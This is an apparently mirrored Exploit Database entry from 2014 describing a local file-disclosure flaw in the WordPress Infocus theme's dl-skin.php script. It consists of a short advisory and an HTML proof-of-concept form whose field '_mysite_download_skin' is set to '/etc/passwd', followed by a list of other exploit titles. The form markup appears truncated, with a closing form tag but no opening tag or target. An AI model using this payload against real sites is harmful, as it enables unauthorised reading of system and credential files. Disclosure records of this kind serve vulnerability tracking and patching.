WordPress Theme Infocus – ‘/infocus/lib/scripts/dl-skin.php’ Local File Disclosure

Exploit Database
122 阅读

作者： Felipe Andrian Peixoto

日期： 2014-06-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39211/

source: https://www.securityfocus.com/bid/67934/info

The Infocus theme for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

<html>

<body>

Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>

</form>

</body>

</html>

last Exploits
WordPress Theme Infocus – ‘/infocus/lib/scripts/dl-skin.php’ Local File Disclosure的更多信息

WordPress Plugin MiwoFTP 1.0.5 – Cross-Site Request Forgery / Arbitrary File Deletion：
ImpressPages CMS 3.6 – Multiple Cross-Site Scripting / SQL Injection Vulnerabilities：
Maian Weblog 4.0 – SQL Injection：
Rukovoditel Project Management CRM 2.5.2 – ‘entities_id’ SQL Injection：
LiveZilla Server 8.0.1.0 – ‘Accept-Language’ Reflected XSS：
LogicalDOC Enterprise 7.7.4 – Directory Traversal：
WordPress Plugin Participants Database < 1.7.5.10 - Cross-Site Scripting：
BlogEngine 3.3 – ‘syndication.axd’ XML External Entity Injection：